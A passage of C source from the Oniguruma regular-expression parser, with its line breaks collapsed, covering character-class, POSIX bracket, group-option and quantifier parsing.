0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } break; case ONIGENC_CTYPE_GRAPH: case ONIGENC_CTYPE_PRINT: if (not != 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (! ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (ONIGENC_IS_CODE_CTYPE(enc, (OnigCodePoint )c, ctype)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } break; case ONIGENC_CTYPE_WORD: if (not == 0) { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if (IS_CODE_SB_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } ADD_ALL_MULTI_BYTE_RANGE(enc, cc->mbuf); } else { for (c = 0; c < SINGLE_BYTE_SIZE; c++) { if ((ONIGENC_CODE_TO_MBCLEN(enc, c) > 0) /* check invalid code point */ && ! ONIGENC_IS_CODE_WORD(enc, c)) BITSET_SET_BIT(cc->bs, c); } } break; default: return ONIGERR_PARSER_BUG; break; } return r; } static int parse_posix_bracket(CClassNode* cc, UChar** src, UChar* end, ScanEnv* env) { #define POSIX_BRACKET_CHECK_LIMIT_LENGTH 20 #define POSIX_BRACKET_NAME_MIN_LEN 4 static PosixBracketEntryType PBS[] = { { (UChar* )"alnum", ONIGENC_CTYPE_ALNUM, 5 }, { (UChar* )"alpha", ONIGENC_CTYPE_ALPHA, 5 }, { (UChar* )"blank", ONIGENC_CTYPE_BLANK, 5 }, { (UChar* )"cntrl", ONIGENC_CTYPE_CNTRL, 5 }, { (UChar* )"digit", ONIGENC_CTYPE_DIGIT, 5 }, { (UChar* )"graph", ONIGENC_CTYPE_GRAPH, 5 }, { (UChar* )"lower", ONIGENC_CTYPE_LOWER, 5 }, { (UChar* )"print", ONIGENC_CTYPE_PRINT, 5 }, { (UChar* )"punct", ONIGENC_CTYPE_PUNCT, 5 }, { (UChar* )"space", ONIGENC_CTYPE_SPACE, 5 }, { (UChar* )"upper", ONIGENC_CTYPE_UPPER, 5 }, { (UChar* )"xdigit", ONIGENC_CTYPE_XDIGIT, 6 }, { (UChar* )"ascii", ONIGENC_CTYPE_ASCII, 5 }, { (UChar* )"word", ONIGENC_CTYPE_WORD, 4 }, { (UChar* )NULL, -1, 0 } }; PosixBracketEntryType *pb; int not, i, r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *p = *src; if (PPEEK_IS('^')) { PINC_S; not = 1; } else not = 0; if (onigenc_strlen(enc, p, end) < POSIX_BRACKET_NAME_MIN_LEN + 3) goto not_posix_bracket; for (pb = PBS; IS_NOT_NULL(pb->name); pb++) { if (onigenc_with_ascii_strncmp(enc, p, end, pb->name, pb->len) == 0) { p = (UChar* )onigenc_step(enc, p, end, pb->len); if (onigenc_with_ascii_strncmp(enc, p, end, (UChar* )":]", 2) != 0) return ONIGERR_INVALID_POSIX_BRACKET_TYPE; r = add_ctype_to_cc(cc, pb->ctype, not, env); if (r != 0) return r; PINC_S; PINC_S; *src = p; return 0; } } not_posix_bracket: c = 0; i = 0; while (!PEND && ((c = PPEEK) != ':') && c != ']') { PINC_S; if (++i > POSIX_BRACKET_CHECK_LIMIT_LENGTH) break; } if (c == ':' && ! PEND) { PINC_S; if (! PEND) { PFETCH_S(c); if (c == ']') return ONIGERR_INVALID_POSIX_BRACKET_TYPE; } } return 1; /* 1: is not POSIX bracket, but no error. */ } static int fetch_char_property_to_ctype(UChar** src, UChar* end, ScanEnv* env) { int r; OnigCodePoint c; OnigEncoding enc = env->enc; UChar *prev, *start, *p = *src; r = 0; start = prev = p; while (!PEND) { prev = p; PFETCH_S(c); if (c == '}') { r = ONIGENC_PROPERTY_NAME_TO_CTYPE(enc, start, prev); if (r < 0) break; *src = p; return r; } else if (c == '(' || c == ')' || c == '{' || c == '|') { r = ONIGERR_INVALID_CHAR_PROPERTY_NAME; break; } } onig_scan_env_set_error_string(env, r, *src, prev); return r; } static int parse_char_property(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, ctype; CClassNode* cc; ctype = fetch_char_property_to_ctype(src, end, env); if (ctype < 0) return ctype; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); r = add_ctype_to_cc(cc, ctype, 0, env); if (r != 0) return r; if (tok->u.prop.not != 0) NCCLASS_SET_NOT(cc); return 0; } enum CCSTATE { CCS_VALUE, CCS_RANGE, CCS_COMPLETE, CCS_START }; enum CCVALTYPE { CCV_SB, CCV_CODE_POINT, CCV_CLASS }; static int next_state_class(CClassNode* cc, OnigCodePoint* vs, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; if (*state == CCS_RANGE) return ONIGERR_CHAR_CLASS_VALUE_AT_END_OF_RANGE; if (*state == CCS_VALUE && *type != CCV_CLASS) { if (*type == CCV_SB) BITSET_SET_BIT(cc->bs, (int )(*vs)); else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } } if (*state != CCS_START) *state = CCS_VALUE; *type = CCV_CLASS; return 0; } static int next_state_val(CClassNode* cc, OnigCodePoint *vs, OnigCodePoint v, int* vs_israw, int v_israw, enum CCVALTYPE intype, enum CCVALTYPE* type, enum CCSTATE* state, ScanEnv* env) { int r; switch (*state) { case CCS_VALUE: if (*type == CCV_SB) { if (*vs > 0xff) return ONIGERR_INVALID_CODE_POINT_VALUE; BITSET_SET_BIT(cc->bs, (int )(*vs)); } else if (*type == CCV_CODE_POINT) { r = add_code_range(&(cc->mbuf), env, *vs, *vs); if (r < 0) return r; } break; case CCS_RANGE: if (intype == *type) { if (intype == CCV_SB) { if (*vs > 0xff || v > 0xff) return ONIGERR_INVALID_CODE_POINT_VALUE; if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )v); } else { r = add_code_range(&(cc->mbuf), env, *vs, v); if (r < 0) return r; } } else { #if 0 if (intype == CCV_CODE_POINT && *type == CCV_SB) { #endif if (*vs > v) { if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_EMPTY_RANGE_IN_CC)) goto ccs_range_end; else return ONIGERR_EMPTY_RANGE_IN_CHAR_CLASS; } bitset_set_range(cc->bs, (int )*vs, (int )(v < 0xff ? v : 0xff)); r = add_code_range(&(cc->mbuf), env, (OnigCodePoint )*vs, v); if (r < 0) return r; #if 0 } else return ONIGERR_MISMATCH_CODE_LENGTH_IN_CLASS_RANGE; #endif } ccs_range_end: *state = CCS_COMPLETE; break; case CCS_COMPLETE: case CCS_START: *state = CCS_VALUE; break; default: break; } *vs_israw = v_israw; *vs = v; *type = intype; return 0; } static int code_exist_check(OnigCodePoint c, UChar* from, UChar* end, int ignore_escaped, ScanEnv* env) { int in_esc; OnigCodePoint code; OnigEncoding enc = env->enc; UChar* p = from; in_esc = 0; while (! PEND) { if (ignore_escaped && in_esc) { in_esc = 0; } else { PFETCH_S(code); if (code == c) return 1; if (code == MC_ESC(env->syntax)) in_esc = 1; } } return 0; } static int parse_char_class(Node** np, OnigToken* tok, UChar** src, UChar* end, ScanEnv* env) { int r, neg, len, fetched, and_start; OnigCodePoint v, vs; UChar *p; Node* node; CClassNode *cc, *prev_cc; CClassNode work_cc; enum CCSTATE state; enum CCVALTYPE val_type, in_type; int val_israw, in_israw; *np = NULL_NODE; env->parse_depth++; if (env->parse_depth > ParseDepthLimit) return ONIGERR_PARSE_DEPTH_LIMIT_OVER; prev_cc = (CClassNode* )NULL; r = fetch_token_in_cc(tok, src, end, env); if (r == TK_CHAR && tok->u.c == '^' && tok->escaped == 0) { neg = 1; r = fetch_token_in_cc(tok, src, end, env); } else { neg = 0; } if (r < 0) return r; if (r == TK_CC_CLOSE) { if (! code_exist_check((OnigCodePoint )']', *src, env->pattern_end, 1, env)) return ONIGERR_EMPTY_CHAR_CLASS; CC_ESC_WARN(env, (UChar* )"]"); r = tok->type = TK_CHAR; /* allow []...] */ } *np = node = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(node); cc = NCCLASS(node); and_start = 0; state = CCS_START; p = *src; while (r != TK_CC_CLOSE) { fetched = 0; switch (r) { case TK_CHAR: any_char_in: len = ONIGENC_CODE_TO_MBCLEN(env->enc, tok->u.c); if (len > 1) { in_type = CCV_CODE_POINT; } else if (len < 0) { r = len; goto err; } else { /* sb_char: */ in_type = CCV_SB; } v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry2; break; case TK_RAW_BYTE: /* tok->base != 0 : octal or hexadec. */ if (! ONIGENC_IS_SINGLEBYTE(env->enc) && tok->base != 0) { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; UChar* bufe = buf + ONIGENC_CODE_TO_MBC_MAXLEN; UChar* psave = p; int i, base = tok->base; buf[0] = tok->u.c; for (i = 1; i < ONIGENC_MBC_MAXLEN(env->enc); i++) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; if (r != TK_RAW_BYTE || tok->base != base) { fetched = 1; break; } buf[i] = tok->u.c; } if (i < ONIGENC_MBC_MINLEN(env->enc)) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } len = enclen(env->enc, buf); if (i < len) { r = ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; goto err; } else if (i > len) { /* fetch back */ p = psave; for (i = 1; i < len; i++) { r = fetch_token_in_cc(tok, &p, end, env); } fetched = 0; } if (i == 1) { v = (OnigCodePoint )buf[0]; goto raw_single; } else { v = ONIGENC_MBC_TO_CODE(env->enc, buf, bufe); in_type = CCV_CODE_POINT; } } else { v = (OnigCodePoint )tok->u.c; raw_single: in_type = CCV_SB; } in_israw = 1; goto val_entry2; break; case TK_CODE_POINT: v = tok->u.code; in_israw = 1; val_entry: len = ONIGENC_CODE_TO_MBCLEN(env->enc, v); if (len < 0) { r = len; goto err; } in_type = (len == 1 ? CCV_SB : CCV_CODE_POINT); val_entry2: r = next_state_val(cc, &vs, v, &val_israw, in_israw, in_type, &val_type, &state, env); if (r != 0) goto err; break; case TK_POSIX_BRACKET_OPEN: r = parse_posix_bracket(cc, &p, end, env); if (r < 0) goto err; if (r == 1) { /* is not POSIX bracket */ CC_ESC_WARN(env, (UChar* )"["); p = tok->backp; v = (OnigCodePoint )tok->u.c; in_israw = 0; goto val_entry; } goto next_class; break; case TK_CHAR_TYPE: r = add_ctype_to_cc(cc, tok->u.prop.ctype, tok->u.prop.not, env); if (r != 0) return r; next_class: r = next_state_class(cc, &vs, &val_type, &state, env); if (r != 0) goto err; break; case TK_CHAR_PROPERTY: { int ctype; ctype = fetch_char_property_to_ctype(&p, end, env); if (ctype < 0) return ctype; r = add_ctype_to_cc(cc, ctype, tok->u.prop.not, env); if (r != 0) return r; goto next_class; } break; case TK_CC_RANGE: if (state == CCS_VALUE) { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) { /* allow [x-] */ range_end_val: v = (OnigCodePoint )'-'; in_israw = 0; goto val_entry; } else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } state = CCS_RANGE; } else if (state == CCS_START) { /* [-xa] is allowed */ v = (OnigCodePoint )tok->u.c; in_israw = 0; r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; /* [--x] or [a&&-x] is warned. */ if (r == TK_CC_RANGE || and_start != 0) CC_ESC_WARN(env, (UChar* )"-"); goto val_entry; } else if (state == CCS_RANGE) { CC_ESC_WARN(env, (UChar* )"-"); goto any_char_in; /* [!--x] is allowed */ } else { /* CCS_COMPLETE */ r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; fetched = 1; if (r == TK_CC_CLOSE) goto range_end_val; /* allow [a-b-] */ else if (r == TK_CC_AND) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; } if (IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_DOUBLE_RANGE_OP_IN_CC)) { CC_ESC_WARN(env, (UChar* )"-"); goto range_end_val; /* [0-9-a] is allowed as [0-9\-a] */ } r = ONIGERR_UNMATCHED_RANGE_SPECIFIER_IN_CHAR_CLASS; goto err; } break; case TK_CC_CC_OPEN: /* [ */ { Node *anode; CClassNode* acc; r = parse_char_class(&anode, tok, &p, end, env); if (r != 0) { onig_node_free(anode); goto cc_open_err; } acc = NCCLASS(anode); r = or_cclass(cc, acc, env->enc); onig_node_free(anode); cc_open_err: if (r != 0) goto err; } break; case TK_CC_AND: /* && */ { if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } /* initialize local variables */ and_start = 1; state = CCS_START; if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); } else { prev_cc = cc; cc = &work_cc; } initialize_cclass(cc); } break; case TK_EOT: r = ONIGERR_PREMATURE_END_OF_CHAR_CLASS; goto err; break; default: r = ONIGERR_PARSER_BUG; goto err; break; } if (fetched) r = tok->type; else { r = fetch_token_in_cc(tok, &p, end, env); if (r < 0) goto err; } } if (state == CCS_VALUE) { r = next_state_val(cc, &vs, 0, &val_israw, 0, val_type, &val_type, &state, env); if (r != 0) goto err; } if (IS_NOT_NULL(prev_cc)) { r = and_cclass(prev_cc, cc, env->enc); if (r != 0) goto err; bbuf_free(cc->mbuf); cc = prev_cc; } if (neg != 0) NCCLASS_SET_NOT(cc); else NCCLASS_CLEAR_NOT(cc); if (IS_NCCLASS_NOT(cc) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_NOT_NEWLINE_IN_NEGATIVE_CC)) { int is_empty; is_empty = (IS_NULL(cc->mbuf) ? 1 : 0); if (is_empty != 0) BITSET_IS_EMPTY(cc->bs, is_empty); if (is_empty == 0) { #define NEWLINE_CODE 0x0a if (ONIGENC_IS_CODE_NEWLINE(env->enc, NEWLINE_CODE)) { if (ONIGENC_CODE_TO_MBCLEN(env->enc, NEWLINE_CODE) == 1) BITSET_SET_BIT(cc->bs, NEWLINE_CODE); else add_code_range(&(cc->mbuf), env, NEWLINE_CODE, NEWLINE_CODE); } } } *src = p; env->parse_depth--; return 0; err: if (cc != NCCLASS(*np)) bbuf_free(cc->mbuf); return r; } static int parse_subexp(Node** top, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env); static int parse_enclose(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, num; Node *target; OnigOptionType option; OnigCodePoint c; OnigEncoding enc = env->enc; #ifdef USE_NAMED_GROUP int list_capture; #endif UChar* p = *src; PFETCH_READY; *np = NULL; if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; option = env->option; if (PPEEK_IS('?') && IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_GROUP_EFFECT)) { PINC; if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); switch (c) { case ':': /* (?:...) grouping only */ group: r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(np, tok, term, &p, end, env); if (r < 0) return r; *src = p; return 1; /* group */ break; case '=': *np = onig_node_new_anchor(ANCHOR_PREC_READ); break; case '!': /* preceding read */ *np = onig_node_new_anchor(ANCHOR_PREC_READ_NOT); break; case '>': /* (?>...) stop backtrack */ *np = node_new_enclose(ENCLOSE_STOP_BACKTRACK); break; #ifdef USE_NAMED_GROUP case '\'': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { goto named_group1; } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #endif case '<': /* look behind (?<=...), (?<!...) */ if (PEND) return ONIGERR_END_PATTERN_WITH_UNMATCHED_PARENTHESIS; PFETCH(c); if (c == '=') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND); else if (c == '!') *np = onig_node_new_anchor(ANCHOR_LOOK_BEHIND_NOT); #ifdef USE_NAMED_GROUP else { if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { UChar *name; UChar *name_end; PUNFETCH; c = '<'; named_group1: list_capture = 0; named_group2: name = p; r = fetch_name((OnigCodePoint )c, &p, end, &name_end, env, &num, 0); if (r < 0) return r; num = scan_env_add_mem_entry(env); if (num < 0) return num; if (list_capture != 0 && num >= (int )BIT_STATUS_BITS_NUM) return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; r = name_add(env->reg, name, name_end, num, env); if (r != 0) return r; *np = node_new_enclose_memory(env->option, 1); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->regnum = num; if (list_capture != 0) BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); env->num_named++; } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } } #else else { return ONIGERR_UNDEFINED_GROUP_OPTION; } #endif break; case '@': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_ATMARK_CAPTURE_HISTORY)) { #ifdef USE_NAMED_GROUP if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_QMARK_LT_NAMED_GROUP)) { PFETCH(c); if (c == '<' || c == '\'') { list_capture = 1; goto named_group2; /* (?@<name>...) */ } PUNFETCH; } #endif *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) { return num; } else if (num >= (int )BIT_STATUS_BITS_NUM) { return ONIGERR_GROUP_NUMBER_OVER_FOR_CAPTURE_HISTORY; } NENCLOSE(*np)->regnum = num; BIT_STATUS_ON_AT_SIMPLE(env->capture_history, num); } else { return ONIGERR_UNDEFINED_GROUP_OPTION; } break; #ifdef USE_POSIXLINE_OPTION case 'p': #endif case '-': case 'i': case 'm': case 's': case 'x': { int neg = 0; while (1) { switch (c) { case ':': case ')': break; case '-': neg = 1; break; case 'x': ONOFF(option, ONIG_OPTION_EXTEND, neg); break; case 'i': ONOFF(option, ONIG_OPTION_IGNORECASE, neg); break; case 's': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; case 'm': if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_PERL)) { ONOFF(option, ONIG_OPTION_SINGLELINE, (neg == 0 ? 1 : 0)); } else if (IS_SYNTAX_OP2(env->syntax, ONIG_SYN_OP2_OPTION_RUBY)) { ONOFF(option, ONIG_OPTION_MULTILINE, neg); } else return ONIGERR_UNDEFINED_GROUP_OPTION; break; #ifdef USE_POSIXLINE_OPTION case 'p': ONOFF(option, ONIG_OPTION_MULTILINE|ONIG_OPTION_SINGLELINE, neg); break; #endif default: return ONIGERR_UNDEFINED_GROUP_OPTION; } if (c == ')') { *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); *src = p; return 2; /* option only */ } else if (c == ':') { OnigOptionType prev = env->option; env->option = option; r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } *np = node_new_option(option); CHECK_NULL_RETURN_MEMERR(*np); NENCLOSE(*np)->target = target; *src = p; return 0; } if (PEND) return ONIGERR_END_PATTERN_IN_GROUP; PFETCH(c); } } break; default: return ONIGERR_UNDEFINED_GROUP_OPTION; } } else { if (ONIG_IS_OPTION_ON(env->option, ONIG_OPTION_DONT_CAPTURE_GROUP)) goto group; *np = node_new_enclose_memory(env->option, 0); CHECK_NULL_RETURN_MEMERR(*np); num = scan_env_add_mem_entry(env); if (num < 0) return num; NENCLOSE(*np)->regnum = num; } CHECK_NULL_RETURN_MEMERR(*np); r = fetch_token(tok, &p, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, &p, end, env); if (r < 0) { onig_node_free(target); return r; } if (NTYPE(*np) == NT_ANCHOR) NANCHOR(*np)->target = target; else { NENCLOSE(*np)->target = target; if (NENCLOSE(*np)->type == ENCLOSE_MEMORY) { /* Don't move this to previous of parse_subexp() */ r = scan_env_set_mem_node(env, NENCLOSE(*np)->regnum, *np); if (r != 0) return r; } } *src = p; return 0; } static const char* PopularQStr[] = { "?", "*", "+", "??", "*?", "+?" }; static const char* ReduceQStr[] = { "", "", "*", "*?", "??", "+ and ??", "+? and ?" }; static int set_quantifier(Node* qnode, Node* target, int group, ScanEnv* env) { QtfrNode* qn; qn = NQTFR(qnode); if (qn->lower == 1 && qn->upper == 1) { return 1; } switch (NTYPE(target)) { case NT_STR: if (! group) { StrNode* sn = NSTR(target); if (str_node_can_be_split(sn, env->enc)) { Node* n = str_node_split_last_char(sn, env->enc); if (IS_NOT_NULL(n)) { qn->target = n; return 2; } } } break; case NT_QTFR: { /* check redundant double repeat. */ /* verbose warn (?:.?)? etc... but not warn (.?)? etc... */ QtfrNode* qnt = NQTFR(target); int nestq_num = popular_quantifier_num(qn); int targetq_num = popular_quantifier_num(qnt); #ifdef USE_WARNING_REDUNDANT_NESTED_REPEAT_OPERATOR if (!IS_QUANTIFIER_BY_NUMBER(qn) && !IS_QUANTIFIER_BY_NUMBER(qnt) && IS_SYNTAX_BV(env->syntax, ONIG_SYN_WARN_REDUNDANT_NESTED_REPEAT)) { UChar buf[WARN_BUFSIZE]; switch(ReduceTypeTable[targetq_num][nestq_num]) { case RQ_ASIS: break; case RQ_DEL: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"redundant nested repeat operator"); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; default: if (onig_verb_warn != onig_null_warn) { onig_snprintf_with_pattern(buf, WARN_BUFSIZE, env->enc, env->pattern, env->pattern_end, (UChar* )"nested repeat operator %s and %s was replaced with '%s'", PopularQStr[targetq_num], PopularQStr[nestq_num], ReduceQStr[ReduceTypeTable[targetq_num][nestq_num]]); (*onig_verb_warn)((char* )buf); } goto warn_exit; break; } } warn_exit: #endif if (targetq_num >= 0) { if (nestq_num >= 0) { onig_reduce_nested_quantifier(qnode, target); goto q_exit; } else if (targetq_num == 1 || targetq_num == 2) { /* * or + */ /* (?:a*){n,m}, (?:a+){n,m} => (?:a*){n,n}, (?:a+){n,n} */ if (! IS_REPEAT_INFINITE(qn->upper) && qn->upper > 1 && qn->greedy) { qn->upper = (qn->lower == 0 ? 1 : qn->lower); } } } } break; default: break; } qn->target = target; q_exit: return 0; } #ifndef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS static int clear_not_flag_cclass(CClassNode* cc, OnigEncoding enc) { BBuf *tbuf; int r; if (IS_NCCLASS_NOT(cc)) { bitset_invert(cc->bs); if (! ONIGENC_IS_SINGLEBYTE(enc)) { r = not_code_range_buf(enc, cc->mbuf, &tbuf); if (r != 0) return r; bbuf_free(cc->mbuf); cc->mbuf = tbuf; } NCCLASS_CLEAR_NOT(cc); } return 0; } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ typedef struct { ScanEnv* env; CClassNode* cc; Node* alt_root; Node** ptail; } IApplyCaseFoldArg; static int i_apply_case_fold(OnigCodePoint from, OnigCodePoint to[], int to_len, void* arg) { IApplyCaseFoldArg* iarg; ScanEnv* env; CClassNode* cc; BitSetRef bs; iarg = (IApplyCaseFoldArg* )arg; env = iarg->env; cc = iarg->cc; bs = cc->bs; if (to_len == 1) { int is_in = onig_is_code_in_cc(env->enc, from, cc); #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS if ((is_in != 0 && !IS_NCCLASS_NOT(cc)) || (is_in == 0 && IS_NCCLASS_NOT(cc))) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { add_code_range(&(cc->mbuf), env, *to, *to); } else { BITSET_SET_BIT(bs, *to); } } #else if (is_in != 0) { if (ONIGENC_MBC_MINLEN(env->enc) > 1 || *to >= SINGLE_BYTE_SIZE) { if (IS_NCCLASS_NOT(cc)) clear_not_flag_cclass(cc, env->enc); add_code_range(&(cc->mbuf), env, *to, *to); } else { if (IS_NCCLASS_NOT(cc)) { BITSET_CLEAR_BIT(bs, *to); } else BITSET_SET_BIT(bs, *to); } } #endif /* CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS */ } else { int r, i, len; UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; Node *snode = NULL_NODE; if (onig_is_code_in_cc(env->enc, from, cc) #ifdef CASE_FOLD_IS_APPLIED_INSIDE_NEGATIVE_CCLASS && !IS_NCCLASS_NOT(cc) #endif ) { for (i = 0; i < to_len; i++) { len = ONIGENC_CODE_TO_MBC(env->enc, to[i], buf); if (i == 0) { snode = onig_node_new_str(buf, buf + len); CHECK_NULL_RETURN_MEMERR(snode); /* char-class expanded multi-char only compare with string folded at match time. */ NSTRING_SET_AMBIG(snode); } else { r = onig_node_str_cat(snode, buf, buf + len); if (r < 0) { onig_node_free(snode); return r; } } } *(iarg->ptail) = onig_node_new_alt(snode, NULL_NODE); CHECK_NULL_RETURN_MEMERR(*(iarg->ptail)); iarg->ptail = &(NCDR((*(iarg->ptail)))); } } return 0; } static int parse_exp(Node** np, OnigToken* tok, int term, UChar** src, UChar* end, ScanEnv* env) { int r, len, group = 0; Node* qn; Node** targetp; *np = NULL; if (tok->type == (enum TokenSyms )term) goto end_of_token; switch (tok->type) { case TK_ALT: case TK_EOT: end_of_token: *np = node_new_empty(); return tok->type; break; case TK_SUBEXP_OPEN: r = parse_enclose(np, tok, TK_SUBEXP_CLOSE, src, end, env); if (r < 0) return r; if (r == 1) group = 1; else if (r == 2) { /* option only */ Node* target; OnigOptionType prev = env->option; env->option = NENCLOSE(*np)->option; r = fetch_token(tok, src, end, env); if (r < 0) return r; r = parse_subexp(&target, tok, term, src, end, env); env->option = prev; if (r < 0) { onig_node_free(target); return r; } NENCLOSE(*np)->target = target; return tok->type; } break; case TK_SUBEXP_CLOSE: if (! IS_SYNTAX_BV(env->syntax, ONIG_SYN_ALLOW_UNMATCHED_CLOSE_SUBEXP)) return ONIGERR_UNMATCHED_CLOSE_PARENTHESIS; if (tok->escaped) goto tk_raw_byte; else goto tk_byte; break; case TK_STRING: tk_byte: { *np = node_new_str(tok->backp, *src); CHECK_NULL_RETURN_MEMERR(*np); while (1) { r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_STRING) break; r = onig_node_str_cat(*np, tok->backp, *src); if (r < 0) return r; } string_end: targetp = np; goto repeat; } break; case TK_RAW_BYTE: tk_raw_byte: { *np = node_new_str_raw_char((UChar )tok->u.c); CHECK_NULL_RETURN_MEMERR(*np); len = 1; while (1) { if (len >= ONIGENC_MBC_MINLEN(env->enc)) { if (len == enclen(env->enc, NSTR(*np)->s)) {//should not enclen_end() r = fetch_token(tok, src, end, env); NSTRING_CLEAR_RAW(*np); goto string_end; } } r = fetch_token(tok, src, end, env); if (r < 0) return r; if (r != TK_RAW_BYTE) { /* Don't use this, it is wrong for little endian encodings. */ #ifdef USE_PAD_TO_SHORT_BYTE_CHAR int rem; if (len < ONIGENC_MBC_MINLEN(env->enc)) { rem = ONIGENC_MBC_MINLEN(env->enc) - len; (void )node_str_head_pad(NSTR(*np), rem, (UChar )0); if (len + rem == enclen(env->enc, NSTR(*np)->s)) { NSTRING_CLEAR_RAW(*np); goto string_end; } } #endif return ONIGERR_TOO_SHORT_MULTI_BYTE_STRING; } r = node_str_cat_char(*np, (UChar )tok->u.c); if (r < 0) return r; len++; } } break; case TK_CODE_POINT: { UChar buf[ONIGENC_CODE_TO_MBC_MAXLEN]; int num = ONIGENC_CODE_TO_MBC(env->enc, tok->u.code, buf); if (num < 0) return num; #ifdef NUMBERED_CHAR_IS_NOT_CASE_AMBIG *np = node_new_str_raw(buf, buf + num); #else *np = node_new_str(buf, buf + num); #endif CHECK_NULL_RETURN_MEMERR(*np); } break; case TK_QUOTE_OPEN: { OnigCodePoint end_op[2]; UChar *qstart, *qend, *nextp; end_op[0] = (OnigCodePoint )MC_ESC(env->syntax); end_op[1] = (OnigCodePoint )'E'; qstart = *src; qend = find_str_position(end_op, 2, qstart, end, &nextp, env->enc); if (IS_NULL(qend)) { nextp = qend = end; } *np = node_new_str(qstart, qend); CHECK_NULL_RETURN_MEMERR(*np); *src = nextp; } break; case TK_CHAR_TYPE: { switch (tok->u.prop.ctype) { case ONIGENC_CTYPE_WORD: *np = node_new_ctype(tok->u.prop.ctype, tok->u.prop.not); CHECK_NULL_RETURN_MEMERR(*np); break; case ONIGENC_CTYPE_SPACE: case ONIGENC_CTYPE_DIGIT: case ONIGENC_CTYPE_XDIGIT: { CClassNode* cc; *np = node_new_cclass(); CHECK_NULL_RETURN_MEMERR(*np); cc = NCCLASS(*np); add_ctype_to_cc(cc, tok->u.prop.ctype, 0, env); if (tok->u.prop.not != 0) 